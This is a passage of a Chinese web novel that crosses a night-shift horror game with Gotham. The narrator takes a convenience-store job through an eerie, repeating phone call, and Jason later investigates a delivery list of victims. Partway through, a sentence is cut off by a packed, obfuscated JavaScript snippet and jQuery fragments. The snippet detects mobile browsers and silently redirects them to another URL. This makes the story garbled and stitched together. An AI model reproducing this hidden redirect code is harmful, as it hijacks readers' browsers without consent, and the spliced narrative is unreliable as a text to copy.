“在我走进来之后没多久。……你怎么了？”


    嘶——


    这下真完力！


    电话现在还是接通的状态，我拿起电话，尝试着问:“您好？”


    话筒里传出沙沙的电流声，却没人开口。


    “经理先生？”


    “……”


    我有种不好的预感。


    在游戏接近尾声的部分，收银员小姐发现了死去已久的经理。


    以为这一切是梦的收银员小姐在回家后惶惶不安，上网了解了恐怖事件背后的故事。当她试图拨打经理的电话了解详情，电话却怎么也拨不通。


    最后，一个叫霍所伊的负责人通知她，经理的确已经死亡了。


    ……该不会经理现在就已经出事了吧？


    那如果经理出事了，又是谁接的电话？


    “……你……好。”


    电话里传来破碎而失真的男声。


    我咽了咽口水。


    “您好，我是来应聘收银员的，我找经理先生。”


    一旁还没走的青年有点诧异还带点幸灾乐祸地给我比了个点赞的手势。


    我：……


    我也给他点了个赞来感谢他活跃气氛，赞是倒过来的那种。


    “夜班……十点到……到……到点……十三……”模糊不清的单词听上去如同磁带卡带发出的令人不安的故障声响。


    让我回忆起玩完伪人相关游戏后，和他人相处时毛骨悚然的感觉。


    我是傻子都得听出来不对劲了。


    “是的，我知道……”


    “夜……到五点，点……点……三美元……”不知是延迟还是只会重复这一句”，话筒里不断平静地重复同一句话。


    我：“……我要应聘。”


    对面：“夜班……十……凌晨……美元……”


    我：“……我知道，我要应聘。”


    对面:“晚上十点……五点……”


    我：…………我的沉默值得再来六个点来纪念。


    你复读机呀！


    人机何尝不是一种伪人。


    “怎么了？”


    青年还没走，拿着打包好的热狗在旁边看戏。


    “没什么，对面不说人话。”


    “不说人话说鬼话吗？”


    哈哈，还真是。


    青年扶着柜台，有意把话题往灵异的方向引：“电影里不就这么演的？说鬼能顺着电话来索命。”


    “午夜凶铃？你还信这个？”这都多经典的恐怖片或者恐怖游戏的套路了。


    “午夜凶铃，那是什么？电影？”这次青年惊讶的表情明显多了几分真情实感。


    等等，连听说都没听说过午夜凶铃是什么？就算在国外也不应该吧？


    “嗯，大概叫这名，具体我有点记不清了。”我边听着话筒里的复读边含糊过去。


    奇怪，哥谭人这么热情好客，喜欢刨根问底吗？


    兄弟，再这样我真的要怀疑你是什么恐游里的重要角色甚至主角了！


    我遇见同一个班的同学都得犹豫一下要不要装作若无其事的样子上前打个招呼。


    在哥谭，你甚至会遇到染发，飙车，带木仓但热情好心的本地青年。


    这就是文化差异吗？


    耐心耗尽，我边想边准备放下话筒，不再听经理牌复读机在那里叨叨。这时延迟严重的经理终于换了句话。


    “欢迎……来……”


    【找个便利店夜班上（1/1）】


    【序章已开启，已为您自动存档。】


    【磁带和小阁楼:


    任务：找到所有故事的结局（0/4），并选择一种。


    提示：和磁带一起传递下去的是什么？


    奖励:称号“她将拥你入怀”】


    好随意的入职，竟然不签合同。


    不对，我连我的名字都没告诉呢！


    ……


    我对我的工钱不抱有希望了。


    “嗯？喂喂，您好，我是樱城绫佳。……好的好的，没问题，谢谢您。”


    当了很久背景板的收银员小姐放下手机，怯怯地转过身对我说：“刚刚有位自称霍所伊的负责人对我说，您可以入职了。”


    霍所伊……只在游戏结尾提过一句的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103081|163808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家伙。樱城绫佳——也就是收银员小姐，上了一段时间班却从来没听说的负责人


    “你们便利店还挺有效率。”青年人感叹了一句，这也是我正在疑惑的。


    这位负责人怎么如此迅速得知此事的？


    总不能负责人和经理住一块吧。


    在我看来，夜勤事件玩完过后有几个疑点：


    第一，母子鬼和磁带有什么关系？为什么她们的行动轨迹和磁带相关？


    第二，上吊的丈夫是否成为了鬼魂？如果没有，那为什么妻子和孩子化身成了恶鬼，而他没有；如果有，那丈夫的鬼魂现在又身处何处，在游戏里扮演了什么角色？


    第三，母子鬼杀人是否是无差别的？如果是，那为什么店里的顾客没有出事，店员和经理却惨遭杀害。如果不是，他们选择目标的条件又是什么？


    第四，剥削和欺压丈夫的老板和这家便利店有关系吗？他的现状如何？霍所伊和经理在这事件中扮演的角色真的有这么单纯吗？


    ……等等？


    不对，兄弟你怎么还没走。


    我终于还是没忍住，把我内心的疑惑问了出来。


    “你们哥谭本地人这么淳朴善良的吗？”


    这回轮到青年沉默了。


    淳朴善良哥谭人？你认真的吗？


    ……


    最近有一起诡异的连环杀人案引起了杰森的注意。


    根据他的调查，死者之间几乎没什么共同点。受害者出现的时间间隔也毫无规律。有的隔了三四天，有的却隔了半年甚至一年。


    在别人来看，这些案子可能毫无关联，也不会把凶手归为同一人。GCPD似乎也是这么认为的。


    在哥谭，没头没尾的死亡事件可太常见了。这许久才零星几件的案子没有引起任何人的重视。


    杰森在巧合下遇见了一份快递的转运单。


    这份如同死亡笔记一样的清单上赫然列着大量的失踪者和死亡者的名字。


    顺藤摸瓜，杰森找到了快递名单上最后一个人。


    也就是樱城绫佳。


    她在前一天收到了这件可怕的快递。